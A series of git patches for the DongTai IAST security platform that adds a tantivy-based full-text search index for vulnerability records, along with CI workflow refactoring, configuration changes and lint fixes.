VULNERABILITY_INDEX logger = logging.getLogger("dongtai-core") @@ -190,3 +192,35 @@ class Django: auto_refresh = False ignore_signals = False + + +VUL_TANTIVY_FIELDS = [ + "id", + "title", + "project_id", + "project_version_id", + "uri", + "strategy_id", + "level_id", + "status_id", +] + + +def tantivy_schema() -> tantivy.Schema: + schema_builder = tantivy.SchemaBuilder() + schema_builder.add_integer_field("id", stored=True, indexed=True) + schema_builder.add_text_field("title", stored=True, tokenizer_name="jieba") + schema_builder.add_integer_field("project_id", stored=True, indexed=True) + schema_builder.add_integer_field("project_version_id", stored=True, indexed=True) + schema_builder.add_text_field("uri", stored=True, tokenizer_name="raw") + schema_builder.add_integer_field("strategy_id", stored=True, indexed=True) + schema_builder.add_integer_field("level_id", stored=True, indexed=True) + schema_builder.add_integer_field("status_id", stored=True, indexed=True) + return schema_builder.build() + + +def tantivy_index() -> tantivy.Index: + return tantivy.Index( + tantivy_schema(), + path=os.path.join(TANTIVY_INDEX_PATH, "vulnerability_index"), + ) diff --git a/dongtai_conf/settings.py b/dongtai_conf/settings.py index dfaf4d211..b5e1b3f1e 100644 --- a/dongtai_conf/settings.py +++ b/dongtai_conf/settings.py @@ -995,6 +995,14 @@ def safe_execute(default, exception, function, *args): DONGTAI_REDIS_ES_UPDATE_BATCH_SIZE = 500 DONGTAI_MAX_BATCH_TASK_CONCORRENCY = 5 + +TANTIVY_STATE = config.get("tantivy", "enable") == "true" +try: + TANTIVY_INDEX_PATH = config.get("tantivy", "index_path") +except Exception: + TANTIVY_INDEX_PATH = "/tmp/tantivy/index_path" + + ELASTICSEARCH_STATE = config.get("elastic_search", "enable") == "true" diff --git a/dongtai_web/aggr_vul/app_vul_list.py b/dongtai_web/aggr_vul/app_vul_list.py index 9dce56a7f..a7750b474 100644 --- a/dongtai_web/aggr_vul/app_vul_list.py +++ b/dongtai_web/aggr_vul/app_vul_list.py @@ -1,3 +1,4 @@ +import logging from collections import defaultdict from itertools import groupby from typing import Any @@ -18,15 +19,17 @@ from dongtai_common.models.agent_method_pool import VulMethodPool from dongtai_common.models.dast_integration import IastDastIntegrationRelation from dongtai_common.models.vulnerablity import ( + VUL_TANTIVY_FIELDS, IastVulnerabilityDocument, IastVulnerabilityModel, IastVulnerabilityStatus, + tantivy_index, ) from dongtai_common.utils.const import OPERATE_GET from dongtai_common.utils.db import SearchLanguageMode from dongtai_conf import settings from dongtai_conf.patch import patch_point, to_patch -from dongtai_conf.settings import ELASTICSEARCH_STATE +from dongtai_conf.settings import ELASTICSEARCH_STATE, TANTIVY_STATE from dongtai_engine.elatic_search.data_correction import data_correction_interpetor from dongtai_web.aggregation.aggregation_common import turnIntListOfStr from dongtai_web.serializers.aggregation import AggregationArgsSerializer @@ -35,6 +38,8 @@ INT_LIMIT: int = 2**64 - 1 +logger = logging.getLogger("dongtai-webapi") + class AppVulSerializer(serializers.ModelSerializer): level_name = serializers.CharField() @@ -124,32 +129,39 @@ def post(self, request): return R.failure() keywords = ser.validated_data.get("keywords", "") es_query = {} + tantivy_query = {} # 从项目列表进入 绑定项目id if ser.validated_data.get("bind_project_id", 0): queryset = queryset.filter(project_id=ser.validated_data.get("bind_project_id")) es_query["bind_project_id"] = ser.validated_data.get("bind_project_id") + tantivy_query["project_id"] = ser.validated_data.get("bind_project_id") # 项目版本号 if ser.validated_data.get("project_version_id", 0): queryset = queryset.filter(project_version_id=ser.validated_data.get("project_version_id")) es_query["project_version_id"] = ser.validated_data.get("project_version_id") + tantivy_query["project_version_id"] = ser.validated_data.get("project_version_id") ser, queryset, es_query = patch_point(ser, queryset, es_query) if ser.validated_data.get("uri", ""): queryset = queryset.filter(uri=ser.validated_data.get("uri", "")) + tantivy_query["uri"] = ser.validated_data.get("uri") # 漏洞类型筛选 if ser.validated_data.get("hook_type_id_str", ""): vul_type_list = turnIntListOfStr(ser.validated_data.get("hook_type_id_str", "")) queryset = queryset.filter(strategy_id__in=vul_type_list) es_query["strategy_ids"] = vul_type_list + tantivy_query["strategy_id"] = vul_type_list # 漏洞等级筛选 if ser.validated_data.get("level_id_str", ""): level_id_list = turnIntListOfStr(ser.validated_data.get("level_id_str", "")) queryset = queryset.filter(level_id__in=level_id_list) es_query["level_ids"] = level_id_list + tantivy_query["level_id"] = level_id_list # 按状态筛选 if ser.validated_data.get("status_id_str", ""): status_id_list = turnIntListOfStr(ser.validated_data.get("status_id_str", "")) queryset = queryset.filter(status_id__in=status_id_list) es_query["status_ids"] = status_id_list + tantivy_query["status_id"] = status_id_list order_list = [] fields = [ @@ -174,6 +186,7 @@ def post(self, request): ] if keywords: es_query["search_keyword"] = keywords + tantivy_query["title"] = keywords keywords = pymysql.converters.escape_string(keywords) order_list = ["-score"] fields.append("score") @@ -206,6 +219,33 @@ def post(self, request): es_query["order"] = order_type_desc + order_type if ELASTICSEARCH_STATE: vul_data = get_vul_list_from_elastic_search(projects, page=page, page_size=page_size, **es_query) + if TANTIVY_STATE: + ids = set() + tantivy_query_str = "" + for key, value in tantivy_query.items(): + if isinstance(value, str): + tantivy_query_str += f'+{key}:"{value}" ' + elif isinstance(value, list): + tantivy_query_str += f"+{key}: IN [{' '.join(map(str, value))}] " + try: + index = tantivy_index() + searcher = index.searcher() + query = index.parse_query('"eighty-four days"', VUL_TANTIVY_FIELDS) + for _best_score, best_doc_address in searcher.search(query, 3).hits: + best_doc = searcher.doc(best_doc_address) + ids.update(*best_doc["id"]) + except ValueError: + logger.exception("field to query in tantivy") + vul_data = ( + IastVulnerabilityModel.objects.filter( + is_del=0, + project_id__gt=0, + project__in=projects, + id__in=list(ids), + ) + .values(*tuple(fields)) + .order_by(*tuple(order_list))[begin_num:end_num] + ) else: vul_data = queryset.values(*tuple(fields)).order_by(*tuple(order_list))[begin_num:end_num] except ValidationError as e: diff --git a/dongtai_web/aggr_vul/tasks.py b/dongtai_web/aggr_vul/tasks.py new file mode 100644 index 000000000..8387fa89a --- /dev/null +++ b/dongtai_web/aggr_vul/tasks.py @@ -0,0 +1,45 @@ +import tantivy +from celery import shared_task + +from dongtai_common.models.vulnerablity import IastVulnerabilityModel, tantivy_index + + +@shared_task(queue="dongtai-periodic-task") +def update_vul_tantivy_index(): + index = tantivy_index() + writer = index.writer() + writer.delete_all_documents() + + queryset = IastVulnerabilityModel.objects.filter(is_del=0, project_id__gt=0) + fields = [ + "id", + "project_id", + "project_version_id", + "uri", + "strategy_id", + "level_id", + "status_id", + "http_method", + "strategy__vul_name", + "taint_position", + ] + vul_data = list(queryset.values(*tuple(fields))) + for vul in vul_data: + title = f"{vul['uri']} {vul['http_method']} 出现 {vul['strategy__vul_name']}" + if vul["taint_position"]: + title += " 位置:" + vul["taint_position"] + + writer.add_document( + tantivy.Document( + id=vul["id"], + title=title, + project_id=vul["project_id"], + project_version_id=vul["project_version_id"], + uri=vul["uri"], + strategy_id=vul["strategy_id"], + level_id=vul["level_id"], + status_id=vul["status_id"], + ) + ) + + writer.commit() diff --git a/dongtai_web/apps.py b/dongtai_web/apps.py index d4e3ed619..e5ec1b370 100644 --- a/dongtai_web/apps.py +++ b/dongtai_web/apps.py @@ -15,9 +15,8 @@ def ready(self): from dongtai_conf.settings import AUTO_UPDATE_HOOK_STRATEGY # do not remove this import, used in celery - from dongtai_engine.plugins.project_status import ( # noqa: F401 - update_project_status, - ) + from dongtai_engine.plugins.project_status import update_project_status # noqa: F401 + from dongtai_web.aggr_vul.tasks import update_vul_tantivy_index # noqa: F401 if AUTO_UPDATE_HOOK_STRATEGY and not validate_hook_strategy_update(): print("enable auto_update_hook_strategy updating hook strategy from file") # noqa: T201 From e2399d0def933e63a79ae5adb0ca870a758f5a4c Mon Sep 17 00:00:00 2001 From: st1020 Date: Sat, 7 Oct 2023 10:36:41 +0800 Subject: [PATCH 23/92] feat: add tantivy search --- .../workflows/actions/setup-python/action.yml | 28 ++++++++ .github/workflows/nightly.yaml | 23 ++----- .github/workflows/teststate.yml | 64 ++++--------------- deploy/docker-compose/config-tutorial.ini | 4 ++ 4 files changed, 49 insertions(+), 70 deletions(-) create mode 100644 .github/workflows/actions/setup-python/action.yml diff --git a/.github/workflows/actions/setup-python/action.yml b/.github/workflows/actions/setup-python/action.yml new file mode 100644 index 000000000..82f148c33 --- /dev/null +++ b/.github/workflows/actions/setup-python/action.yml @@ -0,0 +1,28 @@ +name: Setup Python +description: Setup Python + +inputs: + python-version: + description: Python version + required: false + default: "3.10" + +runs: + using: "composite" + steps: + - uses: actions/setup-python@v4 + with: + python-version: ${{ inputs.python-version }} + cache: "pip" + + - name: Install dependencies + run: | + sudo apt-get install build-essential cmake ninja-build python3-dev cython3 pybind11-dev libre2-dev -y + python -m pip install --upgrade pip + pip install wheel maturin + pip install -r requirements.txt + git clone https://github.com/HXSecurity/tantivy-py + cd tantivy-py + maturin build + mv target/wheels/*.whl target/wheels/tantivy.whl + pip install target/wheels/tantivy.whl diff --git a/.github/workflows/nightly.yaml b/.github/workflows/nightly.yaml index 3858ae77e..afea67aef 100644 --- a/.github/workflows/nightly.yaml +++ b/.github/workflows/nightly.yaml @@ -37,18 +37,11 @@ jobs: steps: - name: Checkout uses: actions/checkout@v2 - - uses: actions/setup-python@v4 - with: - python-version: "3.10" - cache: "pip" + - name: Setup Python + uses: ./.github/actions/setup-python - name: Install dependencies - run: | - sudo apt-get install build-essential cmake ninja-build python3-dev cython3 pybind11-dev libre2-dev -y - python -m pip install --upgrade pip - pip install wheel - pip install coverage - pip install -r requirements.txt + run: pip install coverage - name: Django Unit Testing run: | @@ -92,17 +85,11 @@ jobs: steps: - name: Checkout uses: actions/checkout@v2 - - uses: actions/setup-python@v4 - with: - python-version: "3.10" - cache: "pip" + - name: Setup Python + uses: ./.github/actions/setup-python - name: Install dependencies run: | - sudo apt-get install build-essential cmake ninja-build python3-dev cython3 pybind11-dev libre2-dev -y - python -m pip install --upgrade pip - pip install wheel - pip install -r requirements.txt pip install schemathesis pip install httpx diff --git a/.github/workflows/teststate.yml b/.github/workflows/teststate.yml index 4209223b8..7e1ca562a 100644 --- a/.github/workflows/teststate.yml +++ b/.github/workflows/teststate.yml @@ -55,17 +55,11 @@ jobs: steps: - name: Checkout uses: actions/checkout@v2 - - uses: actions/setup-python@v4 - with: - python-version: "3.10" - cache: "pip" + - name: Setup Python + uses: ./.github/actions/setup-python - name: Install dependencies run: | - sudo apt-get install build-essential cmake ninja-build python3-dev cython3 pybind11-dev libre2-dev -y - python -m pip install --upgrade pip - pip install wheel - pip install -r requirements.txt pip install schemathesis pip install httpx @@ -124,18 +118,8 @@ jobs: steps: - name: Checkout uses: actions/checkout@v2 - - uses: actions/setup-python@v4 - with: - python-version: "3.10" - cache: "pip" - - - name: Install dependencies - run: | - sudo apt-get install build-essential cmake ninja-build python3-dev cython3 pybind11-dev libre2-dev -y - python -m pip install --upgrade pip - pip install wheel - pip install -r requirements.txt - + - name: Setup Python + uses: ./.github/actions/setup-python - name: Django Unit Testing run: | mypy --show-error-codes --ignore-missing-imports --no-incremental --show-error-codes --check-untyped-defs --disable-error-code var-annotated --disable-error-code list-item --disable-error-code attr-defined --disable-error-code assignment --disable-error-code misc --disable-error-code union-attr --disable-error-code index --disable-error-code call-overload --disable-error-code dict-item --disable-error-code truthy-function --disable-error-code operator --disable-error-code name-defined . @@ -168,18 +152,11 @@ jobs: steps: - name: Checkout uses: actions/checkout@v2 - - uses: actions/setup-python@v4 - with: - python-version: "3.10" - cache: "pip" + - name: Setup Python + uses: ./.github/actions/setup-python - name: Install dependencies - run: | - sudo apt-get install build-essential cmake ninja-build python3-dev cython3 pybind11-dev libre2-dev -y - python -m pip install --upgrade pip - pip install wheel - pip install -r requirements.txt - pip install bandit + run: pip install bandit - name: Django Unit Testing run: | bandit -iii -lll -r . @@ -215,18 +192,11 @@ jobs: steps: - name: Checkout uses: actions/checkout@v2 - - uses: actions/setup-python@v4 - with: - python-version: "3.10" - cache: "pip" + - name: Setup Python + uses: ./.github/actions/setup-python - name: Install dependencies - run: | - sudo apt-get install build-essential cmake ninja-build python3-dev cython3 pybind11-dev libre2-dev -y - python -m pip install --upgrade pip - pip install wheel - pip install coverage - pip install -r requirements.txt + run: pip install coverage - name: Django Unit Testing run: | @@ -246,18 +216,8 @@ jobs: steps: - name: Checkout uses: actions/checkout@v2 - - uses: actions/setup-python@v4 - with: - python-version: "3.10" - cache: "pip" - - - name: Install dependencies - run: | - sudo apt-get install build-essential cmake ninja-build python3-dev cython3 pybind11-dev libre2-dev -y - python -m pip install --upgrade pip - pip install wheel - pip install coverage - pip install -r requirements.txt + - name: Setup Python + uses: ./.github/actions/setup-python - name: Check Schema run: python3 manage.py check_schema diff --git a/deploy/docker-compose/config-tutorial.ini b/deploy/docker-compose/config-tutorial.ini index d79cb2e35..2726aa910 100644 --- a/deploy/docker-compose/config-tutorial.ini +++ b/deploy/docker-compose/config-tutorial.ini @@ -68,3 +68,7 @@ asset_aggr_index = alias-dongtai-v1-asset-aggr-dev asset_index = alias-dongtai-v1-asset-dev method_pool_index = alias-dongtai-v1-method-pool-dev asset_vul_index = alias-dongtai-v1-asset-vul-dev + +[tantivy] +enable = false +index_path = /tmp/tantivy/index_path/ From b598517e407d4693a01a6bc6c97cd1ee45edd006 Mon Sep 17 00:00:00 2001 From: st1020 Date: Sat, 7 Oct 2023 10:39:53 +0800 Subject: [PATCH 24/92] feat: add tantivy search --- .github/{workflows => }/actions/setup-python/action.yml | 0 1 file changed, 0 insertions(+), 0 deletions(-) rename .github/{workflows => }/actions/setup-python/action.yml (100%) diff --git a/.github/workflows/actions/setup-python/action.yml b/.github/actions/setup-python/action.yml similarity index 100% rename from .github/workflows/actions/setup-python/action.yml rename to .github/actions/setup-python/action.yml From 6e1428520dc1af589be22c331fcf2cc018a56e7d Mon Sep 17 00:00:00 2001 From: st1020 Date: Sat, 7 Oct 2023 10:43:04 +0800 Subject: [PATCH 25/92] feat: add tantivy search --- .github/actions/setup-python/action.yml | 1 + 1 file changed, 1 insertion(+) diff --git a/.github/actions/setup-python/action.yml b/.github/actions/setup-python/action.yml index 82f148c33..6b2b7f498 100644 --- a/.github/actions/setup-python/action.yml +++ b/.github/actions/setup-python/action.yml @@ -16,6 +16,7 @@ runs: cache: "pip" - name: Install dependencies + shell: bash run: | sudo apt-get install build-essential cmake ninja-build python3-dev cython3 pybind11-dev libre2-dev -y python -m pip install --upgrade pip From a496ed9f0e4a3a7c88bd353bc6c17b800e50a8f1 Mon Sep 17 00:00:00 2001 From: st1020 Date: Sat, 7 Oct 2023 10:55:12 +0800 Subject: [PATCH 26/92] feat: add tantivy search --- .github/actions/setup-python/action.yml | 5 +++-- 1 file changed, 3 insertions(+), 2 deletions(-) diff --git a/.github/actions/setup-python/action.yml b/.github/actions/setup-python/action.yml index 6b2b7f498..388cbe4bd 100644 --- a/.github/actions/setup-python/action.yml +++ b/.github/actions/setup-python/action.yml @@ -25,5 +25,6 @@ runs: git clone https://github.com/HXSecurity/tantivy-py cd tantivy-py maturin build - mv target/wheels/*.whl target/wheels/tantivy.whl - pip install target/wheels/tantivy.whl + cd .. + pip install tantivy-py/target/wheels/tantivy-0.20.1-cp310-cp310-manylinux_2_34_x86_64.whl + rm -rf tantivy-py From 0667eb01f756a97c8a108808a1c6e9ae6ebabafb Mon Sep 17 00:00:00 2001 From: st1020 Date: Sat, 7 Oct 2023 11:01:36 +0800 Subject: [PATCH 27/92] feat: add tantivy search --- deploy/kubernetes/helm/templates/_helpers.tpl | 4 ++++ 1 file changed, 4 insertions(+) diff --git a/deploy/kubernetes/helm/templates/_helpers.tpl b/deploy/kubernetes/helm/templates/_helpers.tpl index 5ecea3fda..18ed308c5 100644 --- a/deploy/kubernetes/helm/templates/_helpers.tpl +++ b/deploy/kubernetes/helm/templates/_helpers.tpl @@ -289,6 +289,10 @@ Create the name of the service account to use method_pool_index = dongtai-iast-alias-dongtai-v1-method-pool asset_vul_index = dongtai-iast-alias-dongtai-v1-asset-vul + [tantivy] + enable = false + index_path = /tmp/tantivy/index_path/ + [other] logging_level ={{.Values.logging_level}} cache_preheat =True From 816198856cb8f790dcc3c169342d47428c61daf2 Mon Sep 17 00:00:00 2001 From: st1020 Date: Sat, 7 Oct 2023 11:11:05 +0800 Subject: [PATCH 28/92] feat: add tantivy search --- deploy/docker-compose/config-tutorial.ini | 4 ---- deploy/kubernetes/helm/templates/_helpers.tpl | 4 ---- dongtai_conf/settings.py | 5 ++++- 3 files changed, 4 insertions(+), 9 deletions(-) diff --git a/deploy/docker-compose/config-tutorial.ini b/deploy/docker-compose/config-tutorial.ini index 2726aa910..d79cb2e35 100644 --- a/deploy/docker-compose/config-tutorial.ini +++ b/deploy/docker-compose/config-tutorial.ini @@ -68,7 +68,3 @@ asset_aggr_index = alias-dongtai-v1-asset-aggr-dev asset_index = alias-dongtai-v1-asset-dev method_pool_index = alias-dongtai-v1-method-pool-dev asset_vul_index = alias-dongtai-v1-asset-vul-dev - -[tantivy] -enable = false -index_path = /tmp/tantivy/index_path/ diff --git a/deploy/kubernetes/helm/templates/_helpers.tpl b/deploy/kubernetes/helm/templates/_helpers.tpl index 18ed308c5..5ecea3fda 100644 --- a/deploy/kubernetes/helm/templates/_helpers.tpl +++ b/deploy/kubernetes/helm/templates/_helpers.tpl @@ -289,10 +289,6 @@ Create the name of the service account to use method_pool_index = dongtai-iast-alias-dongtai-v1-method-pool asset_vul_index = dongtai-iast-alias-dongtai-v1-asset-vul - [tantivy] - enable = false - index_path = /tmp/tantivy/index_path/ - [other] logging_level ={{.Values.logging_level}} cache_preheat =True diff --git a/dongtai_conf/settings.py b/dongtai_conf/settings.py index b5e1b3f1e..3b4dd21cd 100644 --- a/dongtai_conf/settings.py +++ b/dongtai_conf/settings.py @@ -996,7 +996,10 @@ def safe_execute(default, exception, function, *args): DONGTAI_MAX_BATCH_TASK_CONCORRENCY = 5 -TANTIVY_STATE = config.get("tantivy", "enable") == "true" +try: + TANTIVY_STATE = config.get("tantivy", "enable") == "true" +except Exception: + TANTIVY_STATE = False try: TANTIVY_INDEX_PATH = config.get("tantivy", "index_path") except Exception: From ec4bdb53c03636fe986800f881bd9b1c77c918ae Mon Sep 17 00:00:00 2001 From: st1020 Date: Sat, 7 Oct 2023 11:14:42 +0800 Subject: [PATCH 29/92] fix: ruff error --- dongtai_conf/settings.py | 1 - dongtai_engine/tasks.py | 1 - dongtai_protocol/report/handler/auth_info_handler.py | 1 - dongtai_web/views/agents_delete.py | 1 - dongtai_web/views/user_login.py | 2 +- dongtai_web/views/user_register_batch.py | 3 +-- 6 files changed, 2 insertions(+), 7 deletions(-) diff --git a/dongtai_conf/settings.py b/dongtai_conf/settings.py index 3b4dd21cd..ec674d4e1 100644 --- a/dongtai_conf/settings.py +++ b/dongtai_conf/settings.py @@ -1056,7 +1056,6 @@ def is_gevent_monkey_patched() -> bool: def set_asyncio_policy(): state = is_gevent_monkey_patched() print(f"is in gevent patched : {state}") - pass # disable until this package update diff --git a/dongtai_engine/tasks.py b/dongtai_engine/tasks.py index fac8cde13..f1eb9ee06 100644 --- a/dongtai_engine/tasks.py +++ b/dongtai_engine/tasks.py @@ -360,7 +360,6 @@ def heartbeat(): ) if resp.status_code == 200: logger.info("[dongtai_engine.tasks.heartbeat] send heartbeat data to OpenApi Service Successful.") - pass logger.info("[dongtai_engine.tasks.heartbeat] send heartbeat data to OpenApi Service Failure.") except Exception as e: logger.info(f"[dongtai_engine.tasks.heartbeat] send heartbeat data to OpenApi Service Error. reason is {e}") diff --git a/dongtai_protocol/report/handler/auth_info_handler.py b/dongtai_protocol/report/handler/auth_info_handler.py index 9dd4e94e5..64db36063 100644 --- a/dongtai_protocol/report/handler/auth_info_handler.py +++ b/dongtai_protocol/report/handler/auth_info_handler.py @@ -58,7 +58,6 @@ def save(self): ) if len(auth_model): logger.info("权限已存在,忽略") - pass else: logger.info("新增权限") IastOverpowerUserAuth( diff --git a/dongtai_web/views/agents_delete.py b/dongtai_web/views/agents_delete.py index 9ac306a5c..69ccfdb43 100644 --- a/dongtai_web/views/agents_delete.py +++ b/dongtai_web/views/agents_delete.py @@ -68,7 +68,6 @@ def get(self, request): result.append(True) else: result.append(False) - pass except Exception as e: result.append(False) logger.warning(f"user_id:{request.user.id} msg:{e}") diff --git a/dongtai_web/views/user_login.py b/dongtai_web/views/user_login.py index dd29cc231..48f518f40 100644 --- a/dongtai_web/views/user_login.py +++ b/dongtai_web/views/user_login.py @@ -75,7 +75,7 @@ def post(self, request: Request): user_login.failed_login_time = timezone.now() user_login.save() return R.failure(msg="密码错误") - logger.warn( + logger.warning( f"user [{username}] login failure, rease: {'user not exist' if user is None else 'user is disable'}" ) return R.failure(status=202, msg=_("Login failed")) diff --git a/dongtai_web/views/user_register_batch.py b/dongtai_web/views/user_register_batch.py index 198ae3ff0..692d47ee6 100644 --- a/dongtai_web/views/user_register_batch.py +++ b/dongtai_web/views/user_register_batch.py @@ -35,7 +35,6 @@ def __init__(self, **kwargs): ) except Exception: self.email = None - pass def get(self, request): users = self.read_user_data() @@ -76,7 +75,7 @@ def post(self, request, token): ) logger.info(_("User {} has been created successfully").format(username)) else: - logger.warn(_("Failed to create user, error message: token is incorrect")) + logger.warning(_("Failed to create user, error message: token is incorrect")) return R.success(msg=_("Account registration successful")) def read_user_data(self): From 2ed6ff930fe63e130b61075f49d04bf68ebc5e66 Mon Sep 17 00:00:00 2001 From: st1020 Date: Sat, 7 Oct 2023 11:57:26 +0800 Subject: [PATCH 30/92] feat: add tantivy search --- dongtai_common/models/vulnerablity.py | 7 ++-- dongtai_web/aggr_vul/app_vul_list.py | 50 ++++++++++++++++----------- dongtai_web/aggr_vul/tasks.py | 3 ++ 3 files changed, 36 insertions(+), 24 deletions(-) diff --git a/dongtai_common/models/vulnerablity.py b/dongtai_common/models/vulnerablity.py index 7277a7d41..23ff4c372 100644 --- a/dongtai_common/models/vulnerablity.py +++ b/dongtai_common/models/vulnerablity.py @@ -220,7 +220,6 @@ def tantivy_schema() -> tantivy.Schema: def tantivy_index() -> tantivy.Index: - return tantivy.Index( - tantivy_schema(), - path=os.path.join(TANTIVY_INDEX_PATH, "vulnerability_index"), - ) + path = os.path.join(TANTIVY_INDEX_PATH, "vulnerability_index") + os.makedirs(path, exist_ok=True) + return tantivy.Index(tantivy_schema(), path=path) diff --git a/dongtai_web/aggr_vul/app_vul_list.py b/dongtai_web/aggr_vul/app_vul_list.py index a7750b474..367992531 100644 --- a/dongtai_web/aggr_vul/app_vul_list.py +++ b/dongtai_web/aggr_vul/app_vul_list.py @@ -5,7 +5,7 @@ import pymysql from django.core.cache import cache -from django.db.models import Count, F +from django.db.models import Case, Count, F, When from django.utils.translation import gettext_lazy as _ from drf_spectacular.utils import extend_schema from elasticsearch import Elasticsearch @@ -188,23 +188,24 @@ def post(self, request): es_query["search_keyword"] = keywords tantivy_query["title"] = keywords keywords = pymysql.converters.escape_string(keywords) - order_list = ["-score"] - fields.append("score") + if not TANTIVY_STATE: + order_list = ["-score"] + fields.append("score") - queryset = queryset.annotate( - score=SearchLanguageMode( - [ - F("search_keywords"), - F("uri"), - F("vul_title"), - F("http_method"), - F("http_protocol"), - F("top_stack"), - F("bottom_stack"), - ], - search_keyword="+" + keywords, + queryset = queryset.annotate( + score=SearchLanguageMode( + [ + F("search_keywords"), + F("uri"), + F("vul_title"), + F("http_method"), + F("http_protocol"), + F("top_stack"), + F("bottom_stack"), + ], + search_keyword="+" + keywords, + ) ) - ) # 排序 order_type = APP_VUL_ORDER.get(str(ser.validated_data["order_type"]), "level_id") order_type_desc = "-" if ser.validated_data["order_type_desc"] else "" @@ -221,6 +222,7 @@ def post(self, request): vul_data = get_vul_list_from_elastic_search(projects, page=page, page_size=page_size, **es_query) if TANTIVY_STATE: ids = set() + id_score = [] tantivy_query_str = "" for key, value in tantivy_query.items(): if isinstance(value, str): @@ -230,12 +232,20 @@ def post(self, request): try: index = tantivy_index() searcher = index.searcher() - query = index.parse_query('"eighty-four days"', VUL_TANTIVY_FIELDS) - for _best_score, best_doc_address in searcher.search(query, 3).hits: + query = index.parse_query(tantivy_query_str, VUL_TANTIVY_FIELDS) + for best_score, best_doc_address in searcher.search(query, 3).hits: best_doc = searcher.doc(best_doc_address) - ids.update(*best_doc["id"]) + ids.update(best_doc["id"]) + id_score.append((best_doc["id"][0], best_score)) except ValueError: logger.exception("field to query in tantivy") + + preserved = Case( + *( + When(pk=pk, then=pos) + for pos, pk in enumerate(x[0] for x in sorted(id_score, key=lambda x: x[1], reverse=True)) + ) + ) vul_data = ( IastVulnerabilityModel.objects.filter( is_del=0, @@ -244,7 +254,7 @@ def post(self, request): id__in=list(ids), ) .values(*tuple(fields)) - .order_by(*tuple(order_list))[begin_num:end_num] + .order_by(*tuple(order_list), preserved)[begin_num:end_num] ) else: vul_data = queryset.values(*tuple(fields)).order_by(*tuple(order_list))[begin_num:end_num] diff --git a/dongtai_web/aggr_vul/tasks.py b/dongtai_web/aggr_vul/tasks.py index 8387fa89a..bc1cced08 100644 --- a/dongtai_web/aggr_vul/tasks.py +++ b/dongtai_web/aggr_vul/tasks.py @@ -2,10 +2,13 @@ from celery import shared_task from dongtai_common.models.vulnerablity import IastVulnerabilityModel, tantivy_index +from dongtai_conf.settings import TANTIVY_STATE @shared_task(queue="dongtai-periodic-task") def update_vul_tantivy_index(): + if not TANTIVY_STATE: + return index = tantivy_index() writer = index.writer() writer.delete_all_documents() From 764626a2fc43cdf4d828fd2e341fcfdadbfda6af Mon Sep 17 00:00:00 2001 From: st1020 Date: Sat, 7 Oct 2023 12:35:48 +0800 Subject: [PATCH 31/92] feat: add tantivy search --- .github/actions/setup-python/action.yml | 6 - Pipfile | 1 + Pipfile.lock | 698 ++++++++++++------------ 3 files changed, 357 insertions(+), 348 deletions(-) diff --git a/.github/actions/setup-python/action.yml b/.github/actions/setup-python/action.yml index 388cbe4bd..7f41a5d79 100644 --- a/.github/actions/setup-python/action.yml +++ b/.github/actions/setup-python/action.yml @@ -22,9 +22,3 @@ runs: python -m pip install --upgrade pip pip install wheel maturin pip install -r requirements.txt - git clone https://github.com/HXSecurity/tantivy-py - cd tantivy-py - maturin build - cd .. - pip install tantivy-py/target/wheels/tantivy-0.20.1-cp310-cp310-manylinux_2_34_x86_64.whl - rm -rf tantivy-py diff --git a/Pipfile b/Pipfile index 1ecd2744c..66ed2a730 100644 --- a/Pipfile +++ b/Pipfile @@ -94,6 +94,7 @@ pandas = "~=2.1.0" pydot = "*" more-itertools = "*" pyotp = "~=2.9.0" +tantivy = {git = "git+https://github.com/HXSecurity/tantivy-py"} [dev-packages] diff --git a/Pipfile.lock b/Pipfile.lock index d2422fd3d..b177f64e6 100644 --- a/Pipfile.lock +++ b/Pipfile.lock @@ -1,7 +1,7 @@ { "_meta": { "hash": { - "sha256": "9031e1da5959c5d50e4c494f927bab8ca15f4b27cc6d5a595dc9a28754ff481f" + "sha256": "89819c547148a11464684740cfd875e7761696859ea5829e37d8ea4959dfae98" }, "pipfile-spec": 6, "requires": { @@ -18,9 +18,9 @@ "default": { "aliyun-python-sdk-core": { "hashes": [ - "sha256:20bd54984fa316da700c7f355a51ab0b816690e2a0fcefb7b5ef013fed0da928" + "sha256:c806815a48ffdb894cc5bce15b8259b9a3012cc0cda01be2f3dfbb844f3f4f21" ], - "version": "==2.13.36" + "version": "==2.14.0" }, "aliyun-python-sdk-core-v3": { "hashes": [ @@ -95,12 +95,12 @@ }, "boto3-stubs": { "hashes": [ - "sha256:12d7e5865aeec52e1f73b935b1c6a42e61325538fc2cb83a87a83e41e9485241", - "sha256:3ea81a225e062f3bcb205467891086ea031519697ad54622e61251b52609b8d6" + "sha256:22a08e27d2ede1849dd0d75e8501099240b34bd70adb606584a2af2e12f3a22b", + "sha256:f5ae08d2abae7709fff3e7cacea66c41cb43236527cfaf3975e506c6c67439a0" ], "index": "pypi", "markers": "python_version >= '3.7'", - "version": "==1.28.52" + "version": "==1.28.62" }, "botocore": { "hashes": [ @@ -113,12 +113,12 @@ }, "botocore-stubs": { "hashes": [ - "sha256:11431ac0faa35cad6deed6e87002f312f8ea6358d8106a241b60bcead2f84279", - "sha256:2fa9b78c7a335a94d918079773dc3198786de741586187d847a8710b9c337009" + "sha256:2ce555e5dff2e91fc22bd67106534bf3e0593b838d87f8a49d3b8e87fa83a440", + "sha256:d30217d8f6a0888616a44c83150490c5fbc899550ffe1896a2cd15a2205fd648" ], "index": "pypi", "markers": "python_version >= '3.7' and python_version < '4.0'", - "version": "==1.31.52" + "version": "==1.31.62" }, "celery": { "hashes": [ @@ -149,73 +149,62 @@ }, "cffi": { "hashes": [ - "sha256:00a9ed42e88df81ffae7a8ab6d9356b371399b91dbdf0c3cb1e84c03a13aceb5", - "sha256:03425bdae262c76aad70202debd780501fabeaca237cdfddc008987c0e0f59ef", - "sha256:04ed324bda3cda42b9b695d51bb7d54b680b9719cfab04227cdd1e04e5de3104", - "sha256:0e2642fe3142e4cc4af0799748233ad6da94c62a8bec3a6648bf8ee68b1c7426", - "sha256:173379135477dc8cac4bc58f45db08ab45d228b3363adb7af79436135d028405", - "sha256:198caafb44239b60e252492445da556afafc7d1e3ab7a1fb3f0584ef6d742375", - "sha256:1e74c6b51a9ed6589199c787bf5f9875612ca4a8a0785fb2d4a84429badaf22a", - "sha256:2012c72d854c2d03e45d06ae57f40d78e5770d252f195b93f581acf3ba44496e", - "sha256:21157295583fe8943475029ed5abdcf71eb3911894724e360acff1d61c1d54bc", - "sha256:2470043b93ff09bf8fb1d46d1cb756ce6132c54826661a32d4e4d132e1977adf", - "sha256:285d29981935eb726a4399badae8f0ffdff4f5050eaa6d0cfc3f64b857b77185", - 